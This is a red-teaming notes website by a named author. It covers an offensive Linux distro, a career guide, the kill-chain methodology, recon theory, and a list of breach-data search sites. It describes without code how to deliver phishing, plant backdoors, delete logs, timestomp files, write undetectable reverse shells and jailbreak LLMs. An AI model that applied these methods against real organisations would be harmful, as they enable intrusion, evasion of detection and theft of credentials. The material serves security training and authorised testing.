# About RTG

<figure><img src="/files/qGLG1ZlAujmZIFYDPg7y" alt=""><figcaption></figcaption></figure>

Are you looking to master the art of red teaming and offensive security? Look no further than RTG– the ultimate guide to mastering red team tactics.

Our comprehensive collection of notes and insights provides a treasure trove of knowledge and insights gained through real-world pen-testing and red teaming experiments in a controlled environment. Our notes detail a plethora of offensive security methods, ranging from attacking low-hanging fruits, exploiting critical vulnerabilities, bypassing defenses, lateral movement and privilege escalation, and maintaining persistent access, to name a few\...

As the author of RTG Notes, I draw on real-world outcomes to inform our tactics. By testing various techniques in a REAL WORLD RED TEAMING ASSESSMENT (RTA), we have gained a deep understanding of the methods that work best in the field. Our notes provide practical insights and tips based on our experiences, giving you a unique perspective on offensive security.

But RTG is more than just a resource for information – it's a learning platform. We encourage our readers to follow our lead and approach learning by doing. Our note-taking style shares our journey, mistakes, and successes along the way to provide valuable insight into how to approach and execute successful attacks.

We take pride in providing accurate and up-to-date references for the techniques we use, so you can be sure you're learning from the best. But we also welcome feedback from our readers on how to improve our methods, because we believe that sharing knowledge and collaborating within the community is key to advancing our skills.

#### Get your copy of "<mark style="color:red;">Practical Red Teaming: Field-Tested Strategies for Cyber Warfare: Understanding Corporate Cybersecurity: How Hackers Infiltrate Business Networks</mark>", crafted for professionals and enthusiasts alike. Available on Amazon and Google Play Store:

{% embed url="<https://www.amazon.in/Practical-Red-Teaming-Understanding-Cybersecurity-ebook/dp/B0CRKJYJ49>" %}
*Amazon- Kindle Edition*
{% endembed %}

{% embed url="<https://play.google.com/store/books/details/Practical_Red_Teaming_Field_Tested_Strategies_for_?hl=en_AU&id=4L_rEAAAQBAJ&pli=1>" %}
*Google Play Store*
{% endembed %}

## **Objective of the Website:**

The aim of this project is clear — leveraging my practical experience in Offensive Red Teaming, I will explore the contributions of other security researchers, implement both established and innovative attack methodologies in a controlled lab setting, and pursue my investigative research to accomplish the following:

• **Initial Compromise Techniques:** Understand the methods to establish a foothold within networks.&#x20;

• **Reverse Shell Concepts:** Learn the creation and execution to maintain control over compromised systems.

• **Writing Custom Reverse Shells and FUDs in C#:** Learn to write your own reverse shells and other undetectable Fully Undetectable (FUD) tools using C#, which provides a rich set of features suitable for network-based applications.

• **Privilege Escalation Techniques:** Explore methods for both Windows and Linux to enhance access.&#x20;

• **Lateral Movement Strategies:** Apply tactics to navigate through network environments effectively.&#x20;

• **Evasion Techniques:** Investigate methods to avoid detection.&#x20;

• **Pivoting, Tunnelling, and Port Forwarding:** Delve into advanced network manipulation techniques.&#x20;

• **Active Directory Attacks:** Examine vulnerabilities within network services and architecture.&#x20;

• **Command and Control (C2) Frameworks:** Develop and maintain robust systems for managing network breaches.&#x20;

• **MITRE ATT\&CK Framework:** Familiarize with this to enhance tactical cybersecurity understanding.&#x20;

• **Professional Tools:** Experiment with tools used in penetration testing, coding, debugging, reverse engineering, and malware analysis to improve proficiency.&#x20;

• **Active Reconnaissance and Open-Source Intelligence (OSINT):** Begin with gathering information through network scanning and public data.&#x20;

• **Social Engineering and Phishing:** Manipulate human behavior to obtain sensitive information.&#x20;

• **Exploitation Techniques:** Dive into Web App penetration techniques mostly used in getting the initial foothold: e.g. SQL Injection, LFI, RFI, File Upload, RCE, and so on…&#x20;

• **Network Scanning and Enumeration:** Use tools like Nmap to identify network vulnerabilities.&#x20;

• **Post-Exploitation Techniques:** Actions performed after gaining access, like data exfiltration and maintaining persistence.&#x20;

• **Mitigation and Remediation:** Secure networks and systems against identified threats.

{% hint style="success" %}
***In short, RTG is not just a resource – it's a community.***&#x20;

Join us on our journey to master red team tactics and take your offensive security skills to the next level.
{% endhint %}

{% hint style="warning" %} <mark style="color:red;">**Caution:**</mark>

<mark style="color:red;">Please be wary of assuming that all the information presented in these notes is infallible. The notes may not offer a complete or exhaustive explanation of the techniques or artifacts described, and there may be errors or inaccuracies present. Therefore, it is advisable to consult additional resources for verification.</mark>&#x20;

<mark style="color:red;">Don't let yourself be lured into a false sense of security - always exercise caution and seek out multiple sources of information to gain a more nuanced understanding of the subject matter.</mark>
{% endhint %}


# RTG RedOS

## RTG RedOS Arsenal CE v1.0

The Offensive Red Team Linux Distribution - **built by a Red Teamer, for Red Teamers.**

RTG RedOS Arsenal CE is a free, Debian 12-based offensive security distro purpose-built for red teamers, pentesters, and security researchers. **No fluff. Only practical stuff.**

***

### What's Inside

* **Stable Debian Distro**
* **14 Arsenal Categories** - Recon & OSINT, Vulnerability Scanning, Web App Attacks, Exploitation, Active Directory Attacks, Post-Ex & PrivEsc, Password Attacks, Wireless, Exploit Dev & RE, Cloud Attacks, C2/Payloads/AI, RTG AI Suite, Mobile RE, Custom Tools
* **RTG AI Suite** - LLM Red Teaming module (Probe, Fuzz, Jailbreak)
* **RTG Ghost C2** - Full command & control framework (Community Edition)
* **Cirecon** - Automated recon in one script
* **RTG Specter** - EDR-style telemetry auditing
* **Active Directory Arsenal** - secretsdump, certipy-ad, bloodhound-python, Responder, and more

<figure><img src="/files/t8QqzzqGqILYFAWH9TTm" alt=""><figcaption></figcaption></figure>

***

### Download

| Link                                                                                           |
| ---------------------------------------------------------------------------------------------- |
| [Download](https://drive.google.com/file/d/1Qj3ZHZqy29oONJ3p7SFn1CBRF81T51Xt/view?usp=sharing) |

> Default credentials to access the RedOS: rtg:rtg

***

### Disclaimer

This distribution is not for any illegal activities. Use only on systems and networks you own or are explicitly authorized to test.

***

### Connect With RTG

* Website: [redteamgarage.com](https://www.redteamgarage.com/)
* Telegram: [t.me/redteamgarage](https://t.me/redteamgarage)
* LinkedIn: [RedTeamGarage (RTG)](https://www.linkedin.com/company/redteamgarage-rtg)


# About the Author

<pre class="language-bash" data-overflow="wrap"><code class="lang-bash"><strong>ci@rtg: whoami
</strong></code></pre>

{% code overflow="wrap" %}

```bash
# About the Author
alias name="Sarang Tumne aka CyberInsane"
alias role="Offensive Red Team Operator, Security Researcher"
alias book_author="Practical Red Teaming: Field-Tested Strategies for Cyber Warfare"

# Certifications
certifications=("OSCP" "OSCE")

# Skills
declare -A skills
skills[red_teaming]="Expert"
skills[pen_testing]="Expert"
skills[python]="Proficient"
skills[C]="Proficient"
skills[CSharp]="Proficient"
skills[assembly]="Proficient"
skills[powershell]="Experienced"
skills[bash]="Experienced"

# Achievements
echo "Top 5 ranker on HackTheBox"
echo "Authored multiple CVEs"

# Current Focus
echo "Enhancing skills in C, C#, Assembly"
echo "Expanding knowledge in Reverse Engineering and Security Control Evasion"

# Ongoing Projects
projects=("Offensive Red Teaming" "Pen-Testing" "Coding" "Debugging" "Reverse Engineering")
echo "Testing and mastering various industry tools"
echo "Compiling detailed notes for future reference and community sharing"

# Community Engagement
echo "Actively contributing to the cybersecurity community with latest research and findings"

# Collaboration and Contact
echo "Open for discussions on cybersecurity matters. Feel free to reach out at sartlabs.[at].gmail.com"

# Research Repository and Social Links
echo "Conducting research and updating findings to Sartlabs GitHub: https://github.com/sartlabs"
echo "Notice any gaps? Submit a Pull Request!"

# Social Profiles
echo "LinkedIn: https://in.linkedin.com/in/sarang-tumne-osce-oscp-ceh-ecsa-mca-pgdcs-pgdit-mcitp-mcsa-a1681827"
echo "Twitter: https://twitter.com/thecyberinsane"

# Save findings to repository
function update_repository() {
  local topic=$1
  echo "Updating research findings on ${topic} to repository..."
  # Simulate repository update
  sleep 1
  echo "Repository updated with latest security tricks and insights."
}

# Call the function with 'security' as argument
update_repository "security"

```

{% endcode %}

### Engage with the Community:

{% embed url="<https://www.linkedin.com/company/redteamgarage-rtg>" %}

{% embed url="<https://in.linkedin.com/in/sarang-tumne-osce-oscp-ceh-ecsa-mca-pgdcs-pgdit-mcitp-mcsa-a1681827>" %}

{% embed url="<https://x.com/thecyberinsane>" %}

{% embed url="<https://telegram.me/RedTeamGarage>" %}

{% embed url="<https://www.instagram.com/redteamgarage/>" %}


# Launching Your Career in Ethical Hacking: A Comprehensive Step-by-Step Guide

Ethical hacking, integral to Offensive Red Teaming and Penetration Testing, is a dynamic and expanding field within the cybersecurity industry. As technological dependence deepens across various sectors, the demand for proficient ethical hackers surges. This guide outlines a clear, step-by-step approach for those aiming to enter the field of ethical hacking. By adhering to these steps, you can acquire the essential skills, certifications, and experience needed to forge a successful career as an ethical hacker.

**Step 1: Grasp the Basics of Computer Networks and Systems**

Before venturing into ethical hacking, it’s crucial to understand the fundamentals of computer networks and systems. Start with core concepts like IP addressing, network protocols, ports, and operating systems. Knowledge of network architecture, including routers, switches, and firewalls, is also vital. This foundational understanding will support your growth in ethical hacking.

**Step 2: Learn Programming Languages**

Ethical hackers frequently utilize a variety of programming languages to find and exploit vulnerabilities. Key languages in the field include Python, C, C++, Ruby, and JavaScript. Begin with the basics of one or more of these languages and progressively advance to more complex topics.

**Step 3: Acquire Cybersecurity and Hacking Knowledge**

With a solid groundwork in networks and programming, proceed to study cybersecurity principles and common hacking techniques. Focus on areas such as cryptography, network security, web application security, and vulnerability assessments. Additionally, familiarize yourself with penetration testing methodologies that cover reconnaissance, scanning, exploitation, maintaining access, and covering tracks.

**Step 4: Establish Your Own Lab Environment**

For practical experience, set up a home lab environment using tools like VirtualBox or VMware. This setup allows you to operate multiple operating systems and simulate diverse network configurations safely within a legal and controlled setting, vital for refining your hacking skills.

**Step 5: Deepen Your Web Application Knowledge**

* Learn the basics of HTTP (RFC 2616) and go through "The Web Application Hacker's Handbook."
* Engage with vulnerable images from resources like VulnHub to practice exploiting common vulnerabilities such as Local File Inclusion (LFI), Remote File Inclusion (RFI), Command Injection, Remote Code Execution (RCE), File Upload vulnerabilities, and SQL Injection (SQLi).

**Step 6: Practical Engagement and Problem Solving**

* Register on platforms like Hack The Box (HTB) and aim to solve a variety of challenges from easy to insane levels to enhance your practical skills and problem-solving abilities.

**Step 7: Master Privilege Escalation Techniques**

* Devote time to mastering both Linux and Windows privilege escalation techniques to enhance your capability to elevate access within compromised systems.

**Step 8: Continuous Learning and Certification**

* **Pursue Advanced Certifications**: While initial certifications are a good starting point, pursuing basic to the advanced credentials such as the Certified Ethical Hacker (CEH) to Offensive Security Certified Professional (OSCP) and Offensive Security Certified Expert (OSCE) or specialized Red Team Certifications like Certified Red Team Expert (CRTE), Certified Red Team Operator (CRTO) , Practical Network Penetration Tester (PNPT), etc can provide deeper knowledge and improve career prospects.
* **Stay Updated**: The cybersecurity field is fast-evolving, so staying updated with the latest security trends, tools, and vulnerabilities is crucial. Regularly reading security blogs, attending webinars, and participating in conferences can help you stay current.

**Step 9: Networking and Community Engagement**

* **Join Professional Networks and Forums**: Engaging with other professionals in the field through forums such as Reddit’s r/netsec, Twitter security circles, or Professional Groups on LinkedIn, Telegram can provide insights and opportunities that are not widely available.
* **Participate in CTFs and Hackathons**: Regular participation in Capture The Flag (CTF) competitions and hackathons like HackTheBox (HTB), TrayHackMe (THM), CTF365 not only sharpens your skills but also helps you gain recognition in the community and could lead to job opportunities.

**Step 10: Develop Soft Skills**

* **Report Writing**: Ability to write detailed reports is crucial, as these reports communicate your findings to non-technical stakeholders.
* **Communication Skills**: Being able to clearly articulate security risks and the need for specific security measures to technical and non-technical audiences alike is key.

**Step 11: Specialize in a Niche**

* **Choose a Specialization**: Depending on your interests, specializing in a particular area of ethical hacking (e.g., Network Security, Application Security, or Cloud Security) can help you stand out. Deep expertise in a niche area can make you particularly valuable to employers looking for specific skill sets.
* **Research and Development**: Contribute to the field by researching new threats and developing new tools or methods to mitigate those threats. Publishing your work can establish you as a thought leader in the field.

**Step 12: Ethical and Legal Considerations**

* **Understand Legal Implications**: It’s important to have a firm understanding of what constitutes legal and ethical hacking. Ensure you have proper authorization before testing any network and that you comply with all relevant laws and standards.

**Step 13: Career Advancement**

* **Seek Mentorship**: Learning from experienced professionals can accelerate your growth. Seek out mentors who can provide guidance, career advice, and possibly advocate for you within the industry.
* **Explore Job Opportunities**: Be proactive in seeking job opportunities that match your skills and ambitions. Often, roles in ethical hacking or red teaming are not advertised traditionally. Utilize your network and participate in community events to find out about job openings.

{% hint style="info" %}
**Some CTF Platforms:**

**Online:**

1. Hack The Box (<https://www.hackthebox.eu/>) Hack The Box is an online platform that offers a variety of challenges and virtual machines to practice your penetration testing skills. It is suitable for beginners and experienced ethical hackers alike, providing a diverse range of challenges across different categories, including web applications, cryptography, and reverse engineering.
2. CTF365 ([https://ctf365.com](https://ctf365.com/)). CTF365 provides a unique platform where users can engage in capture the flag challenges that mimic real-world cybersecurity environments. It's designed for both beginners and advanced users, offering a range of scenarios that cover various aspects of cybersecurity, from network defense to ethical hacking.
3. CTFtime (<https://ctftime.org/>) CTFtime is an aggregator of Capture the Flag events and competitions from around the world. It provides a calendar of upcoming CTF events, along with their difficulty levels and descriptions. CTFtime is an excellent resource for finding new challenges and staying up-to-date with the latest CTF events.
4. picoCTF (<https://picoctf.org/>) picoCTF is a free, beginner-friendly CTF platform created by Carnegie Mellon University's CyLab. It is designed to teach cybersecurity concepts through a series of engaging challenges and interactive learning modules. picoCTF is suitable for individuals of all ages and skill levels, making it an excellent starting point for those new to ethical hacking.
5. TryHackMe (<https://tryhackme.com/>) TryHackMe is an online platform that offers a wide range of cybersecurity challenges and learning paths. It provides guided, hands-on experiences for individuals at various skill levels, from beginners to experts. While some content on TryHackMe requires a subscription, many of the challenges and learning modules are available for free.
6. OverTheWire (<https://overthewire.org/wargames/>) OverTheWire offers a series of wargames designed to help users learn and practice security concepts. The challenges are organized in increasing order of difficulty, starting with the Bandit wargame, which focuses on basic Linux commands and concepts. As you progress through the wargames, the challenges become more advanced, covering topics such as cryptography, web security, and binary exploitation.

These platforms provide a safe and legal environment to practice your ethical hacking skills, compete with other cybersecurity enthusiasts, and learn from the community. Participating in CTF challenges will help you develop essential skills and experience needed to excel in the field of ethical hacking.&#x20;

**Offline:**

VulnHub (<https://www.vulnhub.com/>) is another popular platform for practicing ethical hacking and penetration testing skills. It offers a vast collection of downloadable virtual machines (VMs) containing intentionally vulnerable systems, designed to simulate real-world scenarios. These VMs can be imported into virtualization software such as VirtualBox or VMware, allowing you to practice your ethical hacking skills in a safe and controlled environment.

VulnHub's virtual machines cover a wide range of difficulty levels, from beginner to expert, and focus on various aspects of cybersecurity, including web application security, network security, and exploitation techniques. Many of these VMs are inspired by real-world vulnerabilities, CTF challenges, or popular cybersecurity certifications, providing users with a diverse and engaging learning experience.

To get started with VulnHub, you can browse the available virtual machines on their website and download the ones that align with your interests and skill level. Once you have imported the VM into your virtualization software, follow the provided instructions to set up the environment, and start practicing your ethical hacking skills.

Additionally, VulnHub offers a supportive community where users can share their experiences, write walkthroughs for VMs, and ask for help when needed. This fosters a collaborative learning experience and allows users to improve their skills by learning from one another. Overall, VulnHub is an excellent resource for anyone looking to develop their ethical hacking abilities and gain hands-on experience in a safe and legal environment.
{% endhint %}


# Why Offensive Cyber Red Teaming

### Offensive red teaming has several benefits to organizations, which include:&#x20;

• Identifying vulnerabilities: Offensive red teaming helps organizations identify weaknesses in their security controls, which may not have been detected through traditional security testing methods. This enables organizations to address vulnerabilities and strengthen their security posture.&#x20;

• Testing response procedures: Offensive red teaming provides an opportunity for organizations to test their incident response procedures and assess how well their security teams respond to an actual attack. This can help organizations to refine their response procedures and improve their overall incident response capability.&#x20;

• Improving employee awareness: Offensive red teaming can be used as a training tool to raise employee awareness of security risks and the potential impact of cyber attacks. This can help to reduce the likelihood of employees falling victim to social engineering attacks and improve overall security awareness across the organization.&#x20;

• Mitigating risk: By identifying and addressing vulnerabilities, offensive red teaming can help mitigate the risk of a successful cyber attack. This can help to protect an organization's reputation, financial resources, and sensitive data.&#x20;

• Providing a proactive approach: Offensive red teaming provides a proactive approach to cybersecurity, helping organizations to identify and address vulnerabilities before they can be exploited by cybercriminals.

**Overall, offensive red teaming can help organizations improve their cybersecurity posture and reduce the likelihood of a successful cyber attack. By identifying and addressing vulnerabilities, organizations can reduce their exposure to risk and protect their assets, reputation, and customer trust.**

```sh
Technical and Business impact of a successful security breach:
```

<figure><img src="/files/B9W3hgDk2uD52yRfEatn" alt=""><figcaption></figcaption></figure>


# Red Teaming Methodology

### Kill Chain: The 7 Stages of a Cyber Attack

<figure><img src="/files/NcTm6zHdfHamaFN4bbRx" alt=""><figcaption><p>Cyber Attack Kill Chain Process</p></figcaption></figure>

* Planning and Scoping: The planning and scoping phase is where the red team and the organization define the scope of the test, including the systems, networks, and applications to be targeted. The red team will also agree on the rules of engagement, which will define the types of attack techniques that are allowed and any restrictions on the testing. For example, let's say a financial institution wants to test its security controls. The red team and the organization would define the scope of the test, such as which applications and systems are in scope. The organization might also set rules of engagement, such as not disrupting business operations or not testing certain critical systems.
* **Reconnaissance:** Reconnaissance is the phase where the red team gathers intelligence on the target systems and applications, looking for vulnerabilities and weaknesses that could be exploited. This may involve performing social engineering attacks to gain access to sensitive information or conducting network scans to identify open ports and services.

  For example, the red team might use publicly available information, such as employee social media profiles, to craft targeted phishing emails to gain access to sensitive systems.

  They might also use network scanning tools to identify potential vulnerabilities in a target system.

  The reconnaissance phase involves gathering information about the target system, network, or organization.

  This can include information about the target's infrastructure, employees, systems, and applications. External/Online Tools that are commonly used in the reconnaissance phase include:

`Google Dorking:` Using advanced search operators to find sensitive information that has been indexed by Google or other search engines.

`WHOIS Lookup:` Finding information about the domain name, such as the owner, contact information, and DNS server information. Social Engineering: Using publicly available information, such as employee social media profiles, to craft targeted phishing emails or other social engineering attacks.

`Scanning:` The scanning phase involves using tools to identify open ports, services, and vulnerabilities in the target system. This can include network scanning, web application scanning, and vulnerability scanning. Tools that are commonly used in the scanning phase include:

`Nmap:` A network scanning tool that can be used to identify open ports and services on a target system. Burp Suite: A web application scanning tool that can be used to identify vulnerabilities in web applications. Nessus: A vulnerability scanning tool that can be used to identify vulnerabilities in a target system.

**Weaponization:** In the weaponization phase, the red team develops and deploys the attack tools and techniques necessary to exploit the identified vulnerabilities. This may involve creating custom malware, developing exploit code, or using publicly available attack tools. In this phase, the attack surface is the set of vulnerabilities and weaknesses that the red team has identified and plans to exploit. The attack surface can include vulnerabilities in software applications, network protocols, hardware, and even human behavior. For example, the red team might develop a custom malware payload that can exploit a specific vulnerability in a target system. They might also use a publicly available exploit tool, such as Metasploit, to test the effectiveness of the organization's security controls. In another example, if the red team has identified a vulnerability in a web application, the attack surface would include the specific vulnerability in the code, as well as any dependencies or third-party components that the application uses.

The attack surface might also include weaknesses in the network infrastructure, such as unpatched software or misconfigured routers. By understanding the attack surface, the red team can prioritize their efforts and develop attack tools and techniques that are most likely to succeed. The attack surface can also help the organization to understand the specific vulnerabilities and weaknesses that were exploited during the red team test, and to take steps to improve their security controls and defenses.

**Delivery:** In the delivery phase, the red team attempts to deliver the attack tools to the target systems or networks. This may involve sending phishing emails, using social engineering tactics, or exploiting vulnerabilities in web applications or network protocols.

For example, the red team might send a phishing email to an employee, containing a link that, when clicked, downloads and executes the custom malware payload. They might also use a SQL injection attack against a web application to gain access to the target system.

**Exploitation:** In the exploitation phase, the red team attempts to gain access to the target systems or networks using the attack tools and techniques that were deployed. This may involve using exploit code to take advantage of a vulnerability or using stolen credentials to gain access to sensitive systems. For example, the red team might use the custom malware payload to exploit a vulnerability in a target system, allowing them to gain access to sensitive data. They might also use stolen credentials to access a critical system and move laterally through the network.

`Gaining Access:` The gaining access phase involves attempting to gain access to the target system, either by exploiting vulnerabilities or using social engineering tactics. This can include password guessing, SQL injection, or phishing attacks. Tools that are commonly used in the gaining access phase include:

`Metasploit:` An exploitation framework that can be used to exploit vulnerabilities in a target system. Hydra: A password-guessing tool that can be used to brute-force passwords on a target system.

`SET (Social Engineering Toolkit):` A social engineering tool that can be used to create and execute phishing attacks. 5.2 Maintaining Access: The maintaining access phase involves establishing persistent access to the target system, to allow continued access to sensitive data or systems. This can include installing backdoors, creating new user accounts, or modifying system settings. Tools that are commonly used in the maintaining access phase include:

`Netcat:` A network tool that can be used to create a backdoor on a target system.

`Meterpreter:` A post-exploitation tool that can be used to maintain access to a target system. PowerShell: A command-line tool that can be used to run commands on a target system.

**Persistence:** If the red team is successful in gaining access to the target systems or networks, they will attempt to maintain their access over time. This may involve installing backdoors, creating new user accounts, or modifying system settings to ensure that they can continue to access the target systems in the future. For example, the red team might create a new user account with administrative privileges, allowing them to access the target system even if their original access is discovered and blocked. They might also modify system settings to prevent security logs from being recorded, making it harder for the organization to detect their activity.

**Covering Tracks:** The covering tracks phase involves removing any evidence of the penetration testing activities from the target system, to avoid detection. This can include deleting log files, modifying timestamps, or using anti-forensic techniques. Tools that are commonly used in the covering tracks phase include:

`Logcleaner:` A tool that can be used to delete logs and other forensic evidence from a target system.&#x20;

`Timestomp:` A tool that can be used to modify file timestamps on a target system.

`SDelete:` A tool that can be used to securely delete files and folders from a target system.

**Reporting:** After the test is complete, the red team will provide a report to the organization detailing the vulnerabilities and weaknesses that were identified, along with recommendations for improving security controls and defenses. This report can be used by the organization to improve its security posture and better protect against real-world attacks.

For example, the red team might identify that the organization has weak password policies, allowing them to easily guess or crack user passwords. Tools that can be used to create a comprehensive report include:

`Nessus:` A vulnerability scanning tool that can generate reports detailing vulnerabilities in the target system.

`Metasploit:` An exploitation framework that can generate reports detailing the exploits that were used in the penetration test. Custom Scripts: Custom scripts can be written to generate reports that are tailored to the specific needs of the organization.

`Custom Scripts:` Custom scripts can be written to generate reports that are tailored to the specific needs of the organization.


# Recon for Red Teaming- Theory

Reconnaissance or information gathering is the first crucial step in the Red Teaming process. The success of a Red Teaming exercise largely depends on the amount and quality of information gathered during the reconnaissance phase. Strong recon skills can also help Red Teamers identify potential social engineering opportunities. By gathering information about the target organization's employees, partners, and vendors, Red Teamers can craft targeted phishing emails and other social engineering tactics to gain access to sensitive information or systems.

The key to strong recon skills is using a combination of techniques, tools, and creativity. While automated tools can be helpful, they should not be solely relied upon. Red Teamers should also have a mastery of programming and scripting languages like *PowerShell, Bash Scripting, Python, Ruby, Perl, C, C Shar*p, and others. This can enable them to develop custom scripts and tools for reconnaissance, which can be more effective than off-the-shelf tools.

### Why Recon is so crucial for any Red Teamer?

Reconnaissance provides vital information about the target organization, its structure, assets, and vulnerabilities. This information is used to plan and execute effective attacks that can compromise the target. Reconnaissance helps Red Teamers to understand the target's environment, identify potential weaknesses, and develop strategies to exploit them.

While the importance of reconnaissance is widely acknowledged, it is worthwhile to explore some unique aspects that highlight its significance:

**Contextual Understanding:** Reconnaissance allows Red Teamers to gain a contextual understanding of the target organization. It goes beyond surface-level knowledge and provides insights into the organization's structure, culture, and operational procedures. This understanding helps in tailoring attacks to the specific environment, making them more relevant and plausible.

**Asset Identification:** Reconnaissance helps identify valuable assets within the target organization. This includes tangible assets like servers, databases, and network infrastructure, as well as intangible assets like intellectual property, trade secrets, and sensitive information. By knowing what assets are present and their significance, Red Teamers can prioritize their attack vectors accordingly.

**Vulnerability Discovery:** Through reconnaissance, Red Teamers can uncover vulnerabilities and weaknesses in the target's systems, processes, and security measures. It involves actively seeking out potential entry points, misconfigurations, outdated software, and other weaknesses that can be exploited. By identifying vulnerabilities, Red Teamers can advise the target organization on the necessary improvements to enhance their security posture.

**Risk Assessment:** Reconnaissance assists in evaluating the overall risk landscape of the target organization. By understanding the potential impact of successful attacks and the likelihood of their occurrence, Red Teamers can provide valuable insights to the organization's decision-makers. This enables them to make informed choices regarding resource allocation, risk mitigation strategies, and security investments.

**Attack Surface Mapping:** Effective reconnaissance helps Red Teamers map the target organization's attack surface. This involves identifying all possible points of entry, both external (such as web applications, network devices, and remote access points) and internal (such as employee workstations, privileged accounts, and physical access controls). By comprehensively mapping the attack surface, Red Teamers can devise comprehensive attack scenarios.

**Social Engineering Opportunities:** Reconnaissance assists Red Teamers in gathering information about individuals within the target organization. This includes key personnel, employees with privileged access, and potential targets for social engineering attacks. Such knowledge can be used to craft tailored phishing emails, impersonation attempts, or other social engineering tactics to exploit human vulnerabilities.

**Deeper Insights:** Reconnaissance allows Red Teamers to gain deeper insights into the target organization's technology stack, architecture, and software versions. This information can be used to identify specific exploits, zero-day vulnerabilities, or weaknesses that are unique to the organization's infrastructure. This level of specificity enhances the effectiveness of subsequent attacks.

**Strategic Planning:** By conducting reconnaissance, Red Teamers can develop well-informed and strategic attack plans. This includes choosing the most appropriate attack vectors, determining the optimal sequence of attacks, and devising contingency plans. Reconnaissance ensures that the attack plan is aligned with the target's weaknesses and maximizes the chances of success.

**Insider Threat Detection:** Reconnaissance can help Red Teamers identify potential insider threats within the target organization. By analyzing publicly available information, employee social media profiles, or online forums, they can detect disgruntled employees, individuals with privileged access, or those susceptible to coercion. This information can be crucial in assessing the organization's internal security risks.

**Continuous Improvement:** Reconnaissance is an iterative process that helps Red Teamers continually refine their attack strategies. By regularly gathering new information, adapting to changing circumstances, and incorporating lessons learned from previous engagements, Red Teamers can enhance their capabilities and stay ahead of emerging threats.

### **Recon Steps- Unveiling the Path to Success in Red Teaming**

Effective reconnaissance requires a systematic approach to gather actionable intelligence. Red Teamers follow a series of reconnaissance steps to ensure comprehensive information gathering. These steps form the foundation for a successful attack plan.

**Subdomain Enumeration: Unveiling Hidden Entry Points**

Subdomain enumeration is a vital aspect of the reconnaissance phase in Red Teaming, allowing attackers to uncover a broader surface for potential vulnerabilities. It is a technique used to identify valid subdomains of a target domain, which can reveal development, staging, or forgotten environments that are less secure than the primary production domain. These environments often contain outdated software, misconfigurations, or sensitive information left unguarded.

**Why Subdomain Enumeration is Crucial:**

* **Expanded Attack Surface**: Identifying subdomains can significantly expand the attack surface, providing more targets that might be less defended.
* **Discovery of Forgotten Assets**: Subdomains are often used for specific projects or temporary needs and may be forgotten but still connected to the main network.
* **Information Leakage**: Subdomains might host applications or services that unintentionally expose sensitive information, useful for crafting more effective phishing or social engineering attacks.
* **Identifying Internal Namespaces**: Some subdomains reflect internal nomenclature or network architecture details, which can be invaluable for further penetration strategies.

**Tools and Techniques for Effective Subdomain Enumeration:**

1. **DNS Enumeration Tools**:
   * **Sublist3r**: Aggregates data from various sources including search engines and SSL certificates to find subdomains.
   * **Amass**: Performs DNS enumeration to map the attack surface and uncover hidden structures in network perimeters.
   * **DNSdumpster**: A free domain research tool that can find hosts related to a domain as well as additional DNS-related information.
2. **Certificate Transparency Logs**:
   * Tools like **CertStream** or **crt.sh** monitor certificate transparency logs to discover subdomains that have SSL certificates issued, which are often indicative of active subdomains.
3. **Brute Force Techniques**:
   * Using tools like **Fierce** or **Knockpy**, Red Teamers can perform brute-force attacks on DNS using a list of commonly used subdomain names to uncover hidden domains.
4. **Scraping Web Content**:
   * Analyzing JavaScript files, CSS resources, or meta tags on known web pages can sometimes reveal internal links or forgotten subdomains.
5. **Third-Party Service Information**:
   * Services like **BuiltWith** or **Wappalyzer** can provide insights into the technologies used on subdomains, helping to identify potentially vulnerable frameworks or outdated software.

**Footprinting**

Footprinting is the process of gathering information about the target organization's digital footprint. This involves collecting information about the target's domain names, IP addresses, email addresses, and social media profiles. Footprinting can be done using various tools, including search engines like *Google*, domain name registration services, and social media platforms. Footprinting also involves gathering information about the target organization's physical location, such as its offices and data centers.

**Footprinting Tools and Techniques**

Footprinting encompasses a diverse array of tools and techniques, ranging from leveraging search engines like Google to exploring domain name registration services and scouring social media platforms, with the ultimate goal of amassing comprehensive information about the target organization, thus enabling the identification of potential vulnerabilities and weaknesses.Search Engines

Search engines like *Google* and *Bing* are valuable tools for footprinting. They provide access to publicly available information about the target's digital footprint. Search engines can be used to gather information about the target's domain names, IP addresses, email addresses, and social media profiles. Using advanced search operators can refine search results and find more specific information.

For example, using the *site:* operator with a domain name can reveal all indexed pages associated with that domain. The *filetype:* operator can be used to search for specific file types, such as PDFs or spreadsheets, which may contain sensitive information. Other advanced search operators like *intitle:* and *inurl:* can be used to find pages containing specific keywords or located within a specific URL structure.

### **Domain Name Registration Services**

Domain name registration services like WHOIS can also provide valuable information about the target's digital footprint. WHOIS is a protocol used to query databases that store information about domain name registrations. WHOIS information can include the name and contact information of the domain owner, the domain's creation date, and the domain's expiration date.

WHOIS can also be used to identify other domains registered by the target organization. This information can be used to identify potential partners, vendors, or subsidiaries of the target. Using WHOIS lookup tools like Domain Tools and ICANN WHOIS can provide even more detailed information about domain registration.

**Social Media Platforms**

Social media platforms like *LinkedIn, Facebook,* and *Twitter* are valuable sources of information about the target's employees, partners, and customers. Social media can be used to gather information about the target's organizational structure, business model, and critical assets. Using advanced search operators and techniques like social engineering can provide even more specific information.

For example, searching *LinkedIn* for employees with specific job titles can provide information about the target's organizational structure. Examining *Facebook* pages and *Twitter* feeds can provide information about the target's business activities and partnerships. Social engineering techniques like phishing and pretexting can be used to gather sensitive information from employees and partners.

**Physical Location**

Footprinting can also involve gathering information about the target's physical location, such as its offices and data centers. This information can be gathered using *Google Maps* and *Google* *Earth*, which can provide aerial views of the target's physical locations. Gathering information about the target's physical location can be useful for planning physical security breaches or social engineering attacks.

&#x20;In conclusion, footprinting is a critical step in the reconnaissance phase of Red Teaming. It involves gathering information about the target organization's digital footprint, including its domain names, IP addresses, email addresses, and social media profiles. It can be done using various tools and techniques, including search engines like *Google*, domain name registration services, and social media platforms. It is essential to gather as much information about the target as possible to identify potential weaknesses and vulnerabilities. In the next section, we will discuss Scanning, which involves enumerating the sub-domains of the target and identifying open ports, services, and vulnerabilities.


# Recon for Red Teaming- Practical

### Comprehensive list of Online and Offline Recon Tools

#### Data Leak Search Online Sites/Tools (Mostly used):

| Tool                          | Remarks                                                                                  |
| ----------------------------- | ---------------------------------------------------------------------------------------- |
| intelx.io                     | Somewhat expensive but worth it                                                          |
| dehashed.com                  | Paid one but comparatively reasonable                                                    |
| pastebin.com                  | Free                                                                                     |
| github.com                    | Free (Register to get the API)                                                           |
| postman.com & web.postman.com | Free                                                                                     |
| leakix.net                    | Paid                                                                                     |
| leakpeek.com                  | Paid                                                                                     |
| grep.app                      | Paid                                                                                     |
